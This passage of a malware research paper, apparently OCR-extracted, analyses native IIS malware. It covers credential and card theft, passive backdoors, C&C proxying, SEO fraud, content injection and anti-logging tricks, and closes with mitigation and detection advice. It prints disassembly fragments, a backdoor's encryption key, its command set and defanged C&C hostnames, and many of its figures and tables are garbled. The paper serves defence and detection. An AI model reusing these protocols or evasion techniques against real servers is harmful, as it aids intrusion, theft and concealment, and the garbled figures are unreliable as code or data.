.text:7454A5EA push esi 
«text:7454A5EB call formatString 


«text:7454A5F0 lea edx, [esi+1] 
.text:7454A5F3 add esp, 24h 
.text:7454A5F6 mov esi, 20h ; ' ' 
.text:7454A5FB nop dword ptr [eax+eax+0h] 


Figure 14 // Attacker requests for Group 7 have a specific relationship between the request URL, Host and Cookie headers 


HTTP/1.1 


D1546D73 1A9F30CC 80127D57 142A482B 


Cookie: 1234 


Figure 15 // Group 7 backdoor attacker request format 


Other malware families are designed to manipulate search engine algorithms, and therefore need 
a mechanism to recognize requests from search engine crawlers. These are usually recognized by 
checking for specific key words in the User-Agent header, such as: 


° 360Spider 

e Baiduspider 

° Bingbot 

e Googlebot 

e Sogou Pic Spider 
° Sogou web spider 
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e Yahoo 
e YandexBot 
° YisouSpider... 


4.2.3 Processing HTTP requests 


At the next step, the malicious IIS module processes the HTTP requests — various mechanisms are used 
based on the malware type, as described in this section. 


Infostealer mode 


Infostealing IIS malware intercepts regular traffic between the compromised server and its clients, and 
exfiltrates information of interest to the attackers. 


One example is Group 1, which targets HTTP requests with the string password in the request body, to 
obtain credentials from legitimate visitors. Note that being a part of the server, these IIS infostealers 
have access to all data, even if SSL/TLS is used and the communication channel is encrypted. 


Another example is malware targeting credit card information sent to e-commerce websites that don't 
use a payment gateway. 


As illustrated in Figure 16, Group 5 targets HTTP POST requests made to specific URI paths 
(/checkout/checkout. aspx, /checkout/ Payment. aspx). When a legitimate website visitor makes 
such a request (1), the malware logs it into a log file (2), without interfering with the HTTP reply in any 
way (3). At a later point, an attacker can make an HTTP request to a specific URI path (e.g. /privacy.aspx), 
with an attacker password included in the X-IIS-Data header (4), to exfiltrate the collected data (5,6). 


Compromised 
HTTP POST IIS server Herp 
/checkout/checkout. aspx /privacy.aspx í 1 


Legitimate 


visitor — p — > Attacker 
Legitimate HTTP reply Collected data 
logs ? ó exfiltrates 

IN 
TXT 

cache.txt 

Figure 16 // Group 5 infostealing mechanism 
Backdoor mode 


Another class of IIS malware is IIS backdoors that allow the attacker to remotely control the 
compromised server by sending special HTTP requests with commands. Legitimate HTTP requests are 
usually ignored by the IIS backdoors - of course, they are handled by other (legitimate) IIS modules, 
as expected. 


Note that IIS backdoors are implemented as passive backdoors — the backdoor doesn't actively request 
commands from the C&C server, it’s the attacker who sends HTTP requests with the commands to the 
compromised IIS server. 
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The backdoor commands and arguments are passed as part of the URL, in the HTTP request body, 

or are embedded in HTTP request headers. As an example, for Group 7, the backdoor commands and 
arguments are embedded in the HTTP request body as key-value pairs, as shown in Table 2. The body is 
AES-CBC encrypted and base64 encoded with these parameters: 


° Encryption key: DALF8BE19D9122F6499D72B90299CAB080E9D599C57E802CD667BF53CCC9EAB2 
° IV: 668EDC2D7ED614BF8F69FF614957EF83EE 


Table 2 // Group 7 attacker HTTP request body structure 


Key Value 

/mode Command type 

/action Command 

/path 

/binary A 
Command arguments (see Table 3 for full list) 

/data 

/credential/username Local user username, used for impersonation 

/credential/password Local user password, used for impersonation 


If the credentials are present, Group 7 backdoors use them to log in as that user (via LogonUserW, 
ImpersonateLoggedOnUser API functions) to execute the backdoor commands on their behalf. 


The backdoor supports the commands listed in Table 3. The details about these commands and their 
arguments are listed in Table 9 in the Group 7 section of the Appendix. As can be seen from Table 3, few of 
this backdoor's features are specific to IIS — it mostly supports standard backdoor commands such as: 


e Get system information 

e Upload/download files 

° Execute files or shell commands 

° Create reverse shell 

° Create/list/move/rename/delete files and folders 
e Map local drives to remote drives 

° Exfiltrate collected data 


This also applies to the other analyzed IIS backdoor families. 
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Table 3 // Group 7 backdoor commands 


command typed Command Command description 


mode value) (/action value) 
S N/A Collects basic system information: computer name and domain, 
username and domain, logical drives information. 
list Collects information about the files in the specified folder. 
at Downloads the file with the specified name from the compromised 
2 IIS server. 
areata Creates a new file or directory in the specified path. Optional 
arguments can hold the file content. 
file ad Uploads a file with the specified name to the compromised server. 
p The arguments include a base64-encoded file content. 
delete Deletes the list of files/directories in the given path. 
nose Copies or renames files from the list, from the source directory to the 
destination directory. 
time Modifies file timestamps. 
Ha Creates a mapping between a local and a remote drive, using the 
dri E given credentials for the network resource. 
rive 
remove Removes existing drive mapping. 


Executes the specified command, either under the context of 
cmd exec the current user, or the user provided in arguments. Returns the 
command output. 


Proxy mode 


IIS proxies turn the compromised IIS servers into malicious proxies, and program them to forward 
requests from compromised hosts. These are a special type of malicious IIS modules, in that these 
modules are usually a part of a bigger infrastructure. Attackers may deploy this malware on 
compromised servers in order to build a multi-layer C&C infrastructure [15], or the IIS server can act like 
an internal proxy [16] between the C&C server and compromised machines located in a local corporate 
network. 


As shown in Figure 17, the malicious IIS module recognizes a request from the compromised host (1), 
relays it to the C&C server (2), and then relays the obtained commands to the compromised host (3-4). 
Of course, the compromised IIS server doesn't necessarily have to communicate directly with the real 
C&C server: there can be other intermediaries to make the tracing even more difficult. 


HTTP protocol C&C protocol 


Sends data and command request Relays data and command request 
AS, — E 2 id 
Compromised 


computer +---------€)----------- d— Z 


Relays commands Sends commands 


Compromised 
IIS server 


Figure 17 // C&C communication leveraging a compromised IIS server as a proxy 
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For example, one’ of the Group 9 samples implements the proxy functionality in this way: 


1. A compromised client makes an HTTP GET request to the compromised IIS server, with URI path 
matching this regular expression: */ (app l hot|alp|sv£|£kj|mry|poc|doc|20) 


2. The malicious IIS module on the server sends an HTTP GET request to the C&C server, in this format: 
http: //qp.008php[ .] com/<path>|<hostHeader>|<token>| where <path> and <hostHeader> 
are the URI path and Host header from the original request, and <token> is the matched string from 
the regular expression (e.g. alp). The client IP address from the original request is also included in the 
headers, and some other headers are copied from the original request (Accept-Encoding, Referer) 


3. The C&C server processes the request and sends a response (e.g. backdoor commands) to the 
compromised IIS server 


4. The malicious IIS module clears any HTTP response that could have been set by other IIS modules in the 
request- processing pipeline and replaces it with the data from the C&C server. Thus, it relays the response 
from the C&C server (e.g., backdoor commands) to the compromised client, without revealing the C&C 
server's IP address 


Note that only specific requests (coming from compromised clients) are relayed to the C&C server; 
requests from legitimate clients of the IIS server are handled normally by the server. 


This technique has several advantages for the attackers: 


e Using a compromised server for C&C communication can bypass detection by firewall and some other 
mechanisms, as the compromised server may have a good reputation 

° Even if malware analysts or security products extract loCs from the malicious sample, they won't 
point to the real C&C server 


On the negative side, since the attackers don't own the server, it may become a single point of failure 
and prevent victims from reaching the real C&C server if the compromised one is cleaned. 


Several sophisticated threat actors have used internal or external proxies in the past (for example, 
GreyEnergy [17] or Duqu2 [18]), and IIS proxies are now another example of how this technique can be 
implemented. 


SEO fraud mode 


Another category of IIS malware that we analyzed has an uncommon goal and targets - instead of 
affecting legitimate visitors of the compromised IIS server, it is used to deceive search engine crawlers. 


Groups 9-14 modify content served to search engine crawlers, in order to artificially boost SEO for 
selected websites (we refer to these techniques collectively as unethical SEO or SEO fraud, although you 
may know the common term black hat SEO). The most versatile family, Group 13, supports these modes: 


° Redirecting the search engines to the particular website chosen by the attacker, effectively making 
the compromised website a doorway page 

° Injecting a list of backlinks (pre-configured or obtained from the C&C server on the fly) into the HTTP 
response, to artificially boost its relevance/popularity (also parasitizing on the compromised website's 
ranking) 


Note that the legitimate visitors of the compromised server will still be served the expected content, 
so the users and the webmaster may fail to notice that something is wrong with the server. 


7 SHA-1: BD98ABC510AC3DF66E21C3CDCEE7BDFC1A326AC5 
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Group 10 uses another technique from this category: 


e When a search engine web crawler is detected, this IIS module serves an HTML response with meta 
keywords and meta description tags stuffed with keywords referring to a particular WeChat racing 
group, and a JavaScript script 

e The keywords are shown in Figure 18 and correspond to Chinese Unicode strings, e.g. IER Mise, 
ARERR JL RS a PKOR At 8d5b3Epk104%1E # that loosely translate to “Beijing Racing 
WeChat Group, Beijing WeChat Racing Group, Beijing Racing WeChat Group, PK10 Group, Beijing 8d5b 
Car PK10 WeChat Group” 

° The purpose of the keyword stuffing could be to make the particular racing group appear more popular, 
and rank higher when searching for a group of this type 


ata: 100Zrrow 3 DAIA AKtr: SUD_1WWOLEDU+GATO 
ata:1002FFB0 3 .rdata:10030970l0 

ata:1002FFB0 db '&#32676 ;&#12304 ; &#36827 ; 8432676 ; 8424494 ; 8#20449 5 84102 ; 84117 ; 84110 
ata: 1002FFBO db * ;&#53;&#55 ; 8#54; &#52; &#52; 8412305 ; 8495 ; 8424184 ; 8436816 ; 8#39134; 8H 
ata: 1002FFBO db '33351;&#95 ;&#24184 ; &8#36816 ; &#50; &#56 ;&#32676;',0 

ata:100300A1 align 8 

ata:10030048 a21271201403618_0 db '&#21271;&#20140;&#36187 ; &8#36710 ; &8#24494 ; 8420449 ; #32676 ; 9044: 84 
ata: 100300A8 3 DATA XREF: sub_100@1EB@+45To 

ata: 10030048 3 .«rdata:10030974ld0 

ata:100300A8 db '271;&#20140 ; &8#24494 ; &8#20449 ; &8#36187 ; 8#36710 ; &#32676 ; 8444 5 8421271; 
ata: 10030048 db '&#20140;&#36187 ; &8#36710 ;&#24494 ; 8420449 ; 8432676 ; 8444 ; S480; 8475 89 
ata: 100300A8 db '49;&#48 ;&#32676 ; &#44 : &8#21271 ; &#20140 ; &#36187 : 8436710; &#112 ; 84107; 
ata:100300A8 db '&#49;&8#48;&#24494;&8#20449;&8#32676;&844;&#80;&875;&849; 8448 ; 242449 
ata: 10030048 db '4;&#20449 ;&#32676 ; &#44 ; 8436187 ; 8436710; &#24494 ; 8420449 ; 8432676 ;&# 
ata: 100300A8 db '44;&#21271;&#20140 ;&#36187 ; &#36710 ; &8#32676 ;&#44;',@ 

ata:1003025F align 10h 

ata:10030260 a21271201403618 db '&#21271;&8#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21 
ata:10030260 3 DATA XREF: sub_10001EB@+4@To 

ata:10030260 5 .rdata:10030978l0 

ata: 10030260 db '271;&#20140;&#24494 ; &8#20449 ; 8436187 ; &8#36710; &#32676 ; 8412304 ; 84368 
ata: 10030260 db '27;8#32676;&#24494 ; &8#20449 ; 8421495 ; 8#102 ; 8#117;8#110; 8453 ;8#55 89 
ata: 10030260 db '54;&#52;&#52;&#12305 ;&#21271; 8420140 ; &#24494 ; 8420449 ; 236187 8436 
ata: 10030260 db '710;&#32676 ;&#44 ;&#21271; &#20140 ; &#24494 ; 8#20449 ; 8436187 ; 8436710; 
ata: 10030260 db '&#32676;&#44 ; 8420960 ; 8430334; &#20154 ; 8420449 ; 8435465 ; 8422823 ; &#32 
ata: 10030260 db '676;&#44; &#36180 ; &#29575 ; &#39640 ; &#44 5 8419979 ; &#20998; 8424555; 804 
ata:10030260 db '4;8&#31119 ;&#21033 ; &8#22810 ; &#44 ; 8#27599 ; 8#22825 ; &8#37117 ; 8426377 ; 8H 
ata: 10030260 db '24320;&#26426 ;&#31119 ; &8#21033 ; &8#9619 ; &#9619 ; 849619 ; 849619 ;8#9619; 
ata: 10030260 db '&#9619;&#9619 ; &#9619 ;&#9619 ; 849619 ; 849619 ; R#9619 ; R#9619 ; 809619: RH 
ata:10030260 db '9619;&#9619 ;&#27426 ; &8#36814 ; &#22823 ; &#23478 ; &#21152 ; 8420837 ; &8#212 
ata: 10030260 db '71;&#20140 ;&#24494 ; &#20449 ;&#36187 ; 8436710 ; 8432676 ; &#30456;&#2011 
ata: 10030260 db '4;&#20132;&#27969 ; &#12290;',@ 

ata: 10030587 align 4 

ata:10030588 aHttpsJsBreakav db 'https://js.breakavs.com/93/jc.js',0 

ata: 10030588 3 DATA XREF: sub_10001EB0+3Bto 

ata:10030588 5 .rdata:1003096Clo 

ata:100305A9 align 10h 

ata:10030580 aTitleSTitleMet db '<title>Xs</title>',0Ah 

ata:100305B0 3 DATA XREF: sub_10001EB0+61%o 

ata:100305B0 db ‘<meta name = "keywords" content = "%s" />',@Ah 

ata:1@@3@Q5R0 db ‘<meta name = "descrintion” content = "%<" />'.@Ah 


Figure 18 // Strings used to deceive search engine crawlers (Group 10) 


Note that it is possible that some webmasters willingly implement similar IIS modules with unethical 
SEO techniques to boost their own SEO statistics. Even if that were the case and the users were aware 
of installing these modules, it is usually against the guidelines of search engines to serve their crawlers a 
different version of the website than is served to the users [19], [20]. 


However, the samples discussed in this report are not this case, as they all implement a communication 
channel with a C&C server to obtain configuration data (i.e., which website should be linked, etc.); and 
most of them also implement other malicious functionality (backdoor, proxy). We believe the attackers 
misuse the compromised IIS servers for this scheme, which they offer as a service to third parties. 


Injector mode 


As a final IIS malware type, IIS injectors are used to manipulate the content served to the legitimate 
visitors of the websites hosted by the compromised IIS server. For example, Group 12 replaces content 
displayed to visitors coming from search engines (based on keywords in the Referer header), and 
visitors browsing specific URIs with data obtained from the C&C server. This could include malicious 
scripts, advertisements or malicious redirects. Part of the configuration of this malware is shown in Figure 19. 


25 Anatomy of native IIS malware 


alfengIvcSogouS db ‘ifeng|ivc|sogou|so.com|baidu| google | youdao|yahoo|bing|118114|biso' 
; DATA XREF: CHttpModule OnBeginRequest+293To 
3; CHttpModule OnBeginRequest+11@Bto 
db '|gougou|sooule|360|sm|uc’,@ 
align 10h 
aSogouSoComBaid db 'sogou|so.com|baidu|google|youdao|yahoo|bing|gougou|sooule|360|sm. ' 
db 'cn|uc',@ 
align 8 
aHotcssHotjs db ‘Hotcss/|Hotjs/',@ ; DATA XREF: CHttpModule_OnBeginRequest+47Dto 
3; CHttpModule OnBeginRequest:loc_1800042@8To 
align 8 
aHotimgHotpic db ‘HotImg/|HotPic/',@ DATA XREF: CHttpModule OnBeginRequest:loc_1800042CFTo 
CHttpModule OnBeginRequest:loc_1800042FAto ... 


dq offset asc_180@213E8 
dq offset asc_180021418 mae or 
dq offset asc_180021448 ; “======"-. `. NN It <= eo 
dq offset asc_180021478 ; ” `=---=' rr 
iq OTTSEE SSC IOMAD AAA A “re 
dq offset unk_1800214D8 

align 2@h 


dq offset a0oooo ; _oo0oo_ E 
dq offset a088888880 š 088888880 

dq offset a8888 š 88* . *88 

dq offset asc_1800211D8 ; (| -_- |) cee 
dq offset a00 S OM = 770 "aco 
dq offset asc_180021238 ; " BP MM es 
dq offset asc_180021268 ; ” . WM’. Su 
dq offset asc_180021298 ; ” // WII = HU `N mais 
dq offset asc_1800212C8 ; ” ZAI -:- TIT WW err 
dq offset asc_18@0212F8 ; ” LIN - //| 4 "256 
dq offset asc_180021328 ; ” | Wo "ANT | | K 
dq offset asc_180021358 ; L a eN = _ £=. Z 

dq offset asc_180021388 ; S; ' //--.--N `. . __ 

dq offset asc_1800213B8 ; ” EXC. ` NN Kx|>_//__." >. a 


J Eee 9 AN: MNS 


Figure 19 // Group 12 processes HTTP requests based on keywords in URIs or Referer headers 


The mechanism behind IIS injectors is usually implemented in the same way as the one behind SEO 
fraud IIS malware - the malicious IIS module recognizes HTTP requests of interest, and injects data 
obtained from the C&C server into the HTTP response. The reason we consider it a separate malware 
type is in the affected parties: 


° For SEO fraud malware, the modified content is served to search engine crawlers and it’s the SERP 
algorithms that are manipulated 

° IIS injectors serve malicious content to the legitimate visitors, and could be used for displaying ads, 
mass-spreading of any malware, but also for watering hole attacks targeting specific groups of users 


4.24 Modifying HTTP responses 


In the previous sections, we described how various types of malicious IIS modules parse, classify and 
process inbound HTTP requests of various types. In this section, we cover the final phase - how IIS 
modules can modify or replace the HTTP response for these requests. 


Malicious IIS modules can manipulate the HTTP response (as prepared by other IIS modules), using the 
IHttpContext and IHttpResponse interfaces. For example, after they handle attacker requests, Group 8 
backdoors discard any HTTP response prepared by other IIS modules and replace it with their own. 

As shown in Figure 20, useful methods are IHttpContext: :GetResponse, IHttpResponse: :Clear, 
IHttpResponse: :WriteEntityChunks and others. 
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int _ cdecl BBHURESpOnse(const char *al, int cHttpContext) 


IHttpResponse **cHttpResponsel; // eax 

4 | IHttpResponse **cHttpResponse2; // esi 

5 | IHttpResponse *cHttpResponse3; // edx 

6 | int hResult1; // eax 

7 | int hResult2; // edi 

8 | HTTP_DATA_CHUNK httpDataChunks; // [esp+4h] [ebp-4@h] BYREF 
9 


10 | cHttpResponsel = (*(*cHttpContext + offsetof(IHttpContext2Vtbl, GetResponse)))(cHttpContext); 
11 cHttpResponse2 = cHttpResponsel; 

12| if ( !cHttpResponsel ) 

13 return 1; 

14 cHttpResponse3 = *cHttpResponsel; 


17 s “text/plain” 


20| hResult1 = cHttpResponse2, &httpDataChunks, 1, 0, 1, &cHttpContext, 0); 


21 hResult2 = 


< Mem E e e = enla 
*cHttpResponse2)->WriteEntityChunks 1 


22 z Ç 

23 *cHttpResponse2)->SetStatus)[cHttpResponse2, 500, “Server Error”, 0, hResult1, 0, 0); 
24 return H 

25 |} 


Figure 20 // Replacing HTTP response with own data (Group 8) 


Another interesting case is Group 9 - in response to search engine web crawler requests, this malware 
appends data obtained from the C&C server to the HTTP response prepared by the IIS server. 


But first, before any other modules start processing the request (in its OnBeginRequest handler set to 
the highest priority), this malware removes an Accept-Encoding header, if present, from the original 
web crawler HTTP request, to prevent other IIS modules from using compression. This step is illustrated 
in Figure 21. 


This way, the IIS server will not compress the response for this request and the malware can easily inject 
additional data into the response without having to deal with the compression algorithm. 


. text: 743ECA8B eax, [esi] 

.text:743ECA8D ecx, esi 

» text: 743ECA8F eax, [eax+IHttpContext2Vtbl.GetRequest] 
.text:743ECA92 eax 


«text: 743ECA94 HttpHeaderAcceptEncoding 

- text: 743ECA96 ecx, eax 

«text: 743ECA98 edx, [eax] 

«text :743ECA9A [edx+IHttpRequest2Vtbl.DeleteHeader] 
«text: 743ECA9D [ebp+var_132], 1 


Figure 21 // Group 9 deletes the Accept-Encoding header from the request to prevent other modules from using 
compression in the HTTP response 
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43 Anti-analysis and detection evasion techniques 


None of the samples we analyzed use any complex method of obfuscation or other methods to avoid 
detection — we suspect the threat actors didn't implement these mechanisms because IIS servers often 
lack security solutions anyway, and because IIS malware is not that common or commonly analyzed. 


However, it is important to note that even without additional obfuscations implemented, some features 
of native IIS malware make analysis and detection harder implicitly: 


° IIS API is based on C++ classes, rather than on Windows API functions, which can thwart some simple 
detection methods. 

e The default C&C mechanism is “passive”: the attacker sends a specific HTTP request to the 
compromised IIS server (for example with backdoor commands), and the malicious IIS module embeds 
the response in the HTTP response to this request. This makes it difficult to identify C&C servers 
without logs from the compromised server, as no C&C server is hardcoded in those samples. 


A couple of notable evasion techniques used by the analyzed IIS malware families follow; a summary of 
the techniques used can be found in Table 4 (Section 4.4). 


4.31 Obfuscation techniques 


Some samples implement simple measures such string stacking, string encryption, UPX packing, or 
mimicking legitimate IIS modules. For example, Group 12 mimics a legitimate F5XFFHttpModule.dl1 
module, while, as shown in Figure 22, one Group 5 samples uses a forged VERSIONINFO resource to 
mimic a legitimate Windows IIS module called dirlist.dll. 


1 Ñ H 1 

2 [1 VERSIONINFO dir.dll (malicious: 2 |1 VERSIONINFO ili š 
3 |FILEVERSION 10,0,17763,1 ( ) 3 ||FILEVERSION 10,0,18362,1 dirlist.dll (benign) 
4 | PRODUCTVERSION 10,0,17763,1 4 | PRODUCTVERSION 10,0,18362,1 

5 ||FILEOS 0x40004 5 |/FILEOS 0x40004 

6 wa 0x2 6 DAR 0x2 

7. 7 

8 |BLOCK "StringFileInfo" 8 |BLOCK "StringFileInfo" 

9 9 

10 BLOCK "00000480" 10 BLOCK "00000480" 

11 { 11 { 

12 VALUE “CompanyName”, “Microsoft pre a 12 VALUE "CompanyName", "Microsoft Panel 

13 VALUE “FileDescription”, "Directory Listing han 13 VALUE " "FleDescription”, "Directory Listing 

14 VALUE "FileVersion”, "10.0.17763.1 (WinBuild.. ee 0800)" 14 VALUE "FileVersion”, "10.0.18362.1 nhe iia 0800)" 

15 VALUE "InternalName”, “dirlist.dIl" 15 VALUE " "InternalName", “dirlist.dll” 

16 VALUE "LegalCopyright”, "© Microsoft Corporation. All rights reserved.” 16 VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved.” 
17 VALUE "OriginaFiename”, *dirlist.d Il" 17 VALUE "OriginalFilename”, “dirlist.dll" 

18 VALUE "ProductName", “Internet Information Services” 18 VALUE "ProductName", 

19 VALUE "ProductVersion", ', "10.0.17763.1" 19 VALUE "ProductVersion”, "10.0.18362.1" 

20 } 20 } 

21 |} 21 |} 

22 az 

23 | BLOCK "VarFileInfo" 23 [BLOCK "VarFileInfo" 

24 24 

25 VALUE "Translation", 0x0000 0x0480 25 VALUE "Translation", 0x0000 0x04B0 

26 |) 26 |) 

27 |} 27 |) 


Figure 22 // Group 5 VERSIONINFO resource (left) mimics legitimate dir1ist.d11 module (right) 


4.3.2 C&C communication 


Few samples used encryption for C&C communication; however, Group 7 uses an interesting technique 
of embedding C&C communication in a fake PNG file, in an attempt to blend into regular network 
traffic. Furthermore, Group 11 uses DNS TXT records to obtain configuration data from the C&C server 
(via the DnsQuery A API), to make the request look less suspicious, as shown in Figure 23. 
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movups xmm@, xmmword ptr cs:aZkpzz@cnnuqwnw ; “zkpzz@cnnuqwnw@eqo" 
movzx eax, word ptr cs:aZkpzz@cnnuqwnwtl1@h ; "qo" 
lea rdx, [rbp+1A6B@h+hostname ] 
mov word ptr [rbp+1A6B@h+var_1A57@], ax 
movzx eax, byte ptr cs:aZkpzz0cnnuqwnw+12h ; ”" 
movd ecx, xmm@ 
.text:0000000180001E9A mov [rsp+1A7B0h+httpReferer], rsi 
.text:0000000180001E9F movups xmmword ptr [rbp+1A6B@h+thostname], xmm@ 
.text:0000000130001E16 mov byte ptr [rbp+1A6B@h+var_1A57@+2], al 
.text:0000000180001E1C test cel. el 
.text:0000000180001E1E jz short loc_130001E33 


«text:00000001580001E20 

.text:00000001580001E20 decrypt: 
.text:0000000180001E20 sub Eb cz 
.text:0000000180001E23 mov [rdx], cl 
.text:0000000180001E25 lea rdx, [rdx+1] 
.text:0000000180001E29 movzx eax, byte ptr [rdx] 
.text:0000000180001E2C movzx ecx, al 
.text:0000000130001E2F test al, al 
.text:0000000180001E31 jnz short decrypt 


.text:0000000180001E33 


.text:0000000180001E33 loc_180@@1E33: 3 wType 

.text:0000000180001E33 mov edx, DNS_TYPE_TEXT 

.text:0000000180001E38 mov [rsp+1A7B0h+pReserved], rsi ; pReserved 
.text:0000000180001E3D lea rax, [rsp+1A780h+httpReferer] 
.text:0000000180001E42 xor rod, r9d 3 pExtra 

.text:00000001800B1E45 lea rex, [rbp+1A6B0h+hostname] ;|"xinxx.allsoulu.com"| 
.text:0000000180001E4C mov [rsp+1A7B0h+ppQueryResults], rax ; p| yR 


.text:0000000180001E5 
.text:00000001580001E5 
.text:00000001580001E5A A 
.text:00000001380001ES5F test r8, rg 
- text :0000000180001E62 jz short loc_18@@@1E81 


call DnsQuery A 


OV DT L 


QUERY BYPASS CACHE] ; Options 


B@h+httpReferer l 


Figure 23 // Group 11 uses DNS records to obtain its configuration 


4.3.3 Anti-logging features 
The most notable evasion techniques used by the IIS malware families we analyzed are measures to 


prevent the attacker requests from being logged on the compromised server, and thus to hide traces of 
malicious activities. 


As Palo Alto Networks researchers demonstrated in their RGDoor blogpost [4]: with default settings, the 
Cookie header is not logged on IIS (because it may be large and contain sensitive information). Group 4 
(RGDoor), as well as some variants of Group 1, embed backdoor commands in the Cookie header. 


Moreover, Group 7 uses a technique to prevent the server from logging attacker requests, regardless 
of the server settings. It implements the OnLogRequest handler, which will be called as part of the 
request- processing pipeline, just before the IIS server logs a processed HTTP request. If the malware 
detects a request from the attacker, this handler will “sanitize” the log entry: 


° It rewrites the HTTP method in the request to GET 

° It rewrites the resource from the request to / 

° It deletes these headers from the request: Cookie, Origin, Referer, Sec-Fetch-Mode, Sec-Fetch- 
Site, Content-Type, Content-Length, X-Forwarded-IP, X-Forwarded-For, X-Forwarded-By, 


X-Forwarded-Proto 


Part of this handler is shown in Figure 24: 
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s 
.text:7454AB1B test 
«text:7454AB1F jnz 


byte ptr [ebx+httpModule0bj.flagRunBackdoorInterpreter], 1 
short modifyLogEntry 


d ca 

. text: 7454AB2B 
.text:7454AB2B 
. text: 7454AB2B 
«text :7454AB2D 
«text :7454AB2F 
„text :7454AB34 
.text:7454AB37 
.text:7454AB39 
.text:7454AB3B 
«text :7454AB3D 
. text: 7454AB3F 
«text :7454AB44 
«text :7454AB47 
«text :7454AB49 
«text :7454AB4B 
«text: 7454AB50 
«text :7454AB53 
«text: 7454AB55 
«text: 7454AB57 
«text: 7454AB5C 
«text: 7454AB5F 
«text: 7454AB61 
«text: 7454AB63 
«text: 7454AB68 
«text: 7454AB6B 
«text: 7454AB6D 
«text: 7454AB6F 
«text: 7454AB74 
«text: 7454AB77 
«text: 7454AB79 
«text: 7454AB7B 
«text: 7454AB80 
«text: 7454AB83 
«text: 7454AB85 
«text: 7454AB87 
«text: 7454AB8C 
«text: 7454AB8F 
«text: 7454AB91 
«text: 7454AB93 
«text: 7454AB98 


.text:7454AB21 cmp [ebx+httpModule0bj.flagAttackerRequest], @ 
-text:7454AB25 jz end 


modifyLogEntry: 
mov eax, [edi] 
mov ecx, edi 


push offset aGet_@ ; "GET" 


call [eax+IHttpRequestVtbl.SetHttpMethod] 
mov eax, [edi] 

mov ecx, edi 

push 1 

push 1 


push offset asc_74568A70 ; "/" 
call [eax+IHttpRequestVtbl.Seturl] 


mov eax, [edi] 

mov ecx, edi 

push offset aCookie ; “Cookie” 

call [eax+IHttpRequestVtbl.DeleteHeader_] 
mov eax, [edi] 

mov ecx, edi 

push offset aOrigin ; "Origin" 


call [eax+IHttpRequestVtbl.DeleteHeader_] 
mov eax, [edi] 

mov ecx, edi 

push offset aReferer ; “Referer” 

call [eax+IHttpRequestVtbl.DeleteHeader_] 
mov eax, [edi] 

mov ecx, edi 

push offset aSecFetchMode ; "Sec-Fetch-Mode" 


call [eax+IHttpRequestVtbl.DeleteHeader_] 
mov eax, [edi] 

mov ecx, edi 

push offset aSecFetchSite ; "Sec-Fetch-Site" 


call [eax+IHttpRequestVtbl.DeleteHeader_] 
mov eax, [edi] 

mov ecx, edi 

push offset aContentType ; "Content-Type" 


call [eax+IHttpRequestVtbl.DeleteHeader_] 
mov eax, [edi] 

mov ecx, edi 

push offset aContentLength ; "Content-Length" 
call [eax+IHttpRequestVtbl.DeleteHeader_] 


Figure 24 // Group 7 modifies log entries for attacker requests 
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4.4 Summary table 


Table 4 summarizes key features of the analyzed IIS malware families. For detailed analyses of Groups 1-14, 
please refer to the Appendix of this paper. 


Table 4 // Summary of obfuscations implemented, and functionalities supported by analyzed IIS malware families 


Functionality C&C channel 
Attacker request verification Detection 
Group # 5 3 z (e.g. specific header present, 5 a 2 _ evasion and 
8 L 8 5 specific URI, query string ge E % ° obfuscation 
E a E 5 Ñ parameter) E 3 5 ES techniques 
2 o AA Y ano 
a E & & £ GG aoa 
HTTP header with hardcoded 
Group 1 S| Sf A x x password base64 x x 
HTTP header with hardcoded RSA + AES- 
seu V |x x x x password CBC x x 
Group 3 x X I >< x HTTP header present base64 X x 
HTTP header with hardcoded XOR + 
G 4 Anti-loggi 
ee V x x x x password base64 x R SER 5 
URI and HTTP header with String 
G 5 
meee X v |x x x hardcoded password x x stacking 
Group 6 x sZ K x x Query string parameter X X X 
Relationship between HTTP headers, ' A 
Group 7 YX X x x HTTP body format AES-CBC x Anti-logging 
HTTP header with hardcoded 
G 8 
roup YA X X X X password x x x 
Encrypted 
Group 9 x X IF || &7 | S< No support for attacker requests x HTTP strings (XOR 
0x56) 
HTTP to 
Group 10 No support for attacker requests obtain 
p x X X v |X pp q x javascript x 
config 
DNS TXT 
to obtai i 
HTTP header with hardcoded a ae 
Group 11 Y X sZ | xZ E asado > config, encryption 
i HTTP for (ADD 0x02) 
C&C 
Group 12, = amine 
iant A SÍ X R || E || <Z x HTTP encryption 
vanan HTTP header with password whose (ADD 0x01) 
MDS hash is hardcoded 
Group 12, = ; 
variant Ë YA | X | X x |+ x HTTP UPX packing 
Group 12, = SUNE 
Variant e Xx X X Y x No support for attacker requests > HTTP encryption 
(XOR 0x0C) 
Group 13 x X x Y x Query string parameter x HTTP Xx 
Group 14 x x x S || ae No support for attacker requests bd HTTP x 


3] 
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5 MITIGATION 


In this part, we discuss measures that could be used to prevent the compromise of IIS servers, and how 
to navigate the IIS server to detect and remove native IIS malware. 


51 Preventing compromise of IIS servers 


Since native IIS modules can only be installed with administrative privileges, the attackers first need to 
obtain elevated access to the IIS server. The following recommendations could help make their work 
harder: 


e Use dedicated accounts with strong, unique passwords for the administration of the IIS server. 
Require MFA for these accounts. Monitor the usage of these accounts. 

° Regularly patch your OS, and carefully consider which services are exposed to the internet, to reduce 
the risk of server exploitation. 

e Consider using a web application firewall, and/or endpoint security solution on your IIS server. 

e Native IIS modules have unrestricted access to any resource available to the server worker process; 
you should only install native IIS modules from trusted sources to avoid downloading their trojanized 
versions. Be especially aware of modules promising too-good-to-be-true features such as magically 
improving SEO. 

e Regularly check the configuration file 
swindir%\system32\inetsrv\config\ApplicationHost. config, as well as the 
$windir%\system32\inetsrv\ and twindir%\SyswWOw64\inetsrv folders to verify that all the 
installed native modules are legitimate (signed by a trusted provider, or installed on purpose). 


For web developers: If you don't have the control over the IIS server where your web service is hosted, 
these measures can't be applied by you. However, you can still take steps to reduce the impact on users 
of your web service in the case of a compromise, especially: 


e Do not send credentials to the server (not even over SSL/TLS); use cryptographically strong one-way 
salted hashes on the client side. IIS infostealers are a good example why server-side hashing is not 
good enough. 

e Avoid unnecessary sending sensitive information from the web application; use payment gateways. 


Please refer to OWASP [23] [24] for more comprehensive information on secure web development 
practices. 


5.2 Detecting compromised IIS servers 


All native IIS modules are configured in the $windir%\system32\inetsrv\config\ApplicationHost. config 
configuration file, and should be installed in the $windir%\system32\inetsrv\ or the 
$windir%\SysWOwW64\inetsrv folder. To check whether your IIS server has been compromised with 
native IIS malware, verify that all the installed modules are legitimate, using these methods: 


° Verify the modules are signed by trusted providers 

